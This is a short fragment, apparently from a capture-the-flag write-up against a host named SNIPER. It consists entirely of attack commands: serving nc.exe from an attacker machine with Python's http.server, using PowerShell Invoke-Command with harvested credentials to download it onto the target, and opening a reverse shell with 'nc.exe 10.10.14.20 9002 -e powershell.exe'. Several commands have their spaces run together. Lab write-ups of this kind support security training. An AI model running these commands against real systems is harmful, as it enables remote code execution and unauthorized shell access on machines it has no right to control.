# Use python to share the filepython3-mhttp.server80# Use powershell to download the file. In this case nc.exeInvoke-Command-ComputerSNIPER-ScriptBlock{IWR-uri10.10.14.20/nc.exe-outfilenc.exe}-Credential $Cred # Revser shell with powershell Invoke-Command -Computer SNIPER -ScriptBlock { cmd /c nc.exe 10.10.14.20 9002 -e powershell.exe } -Credential $Cred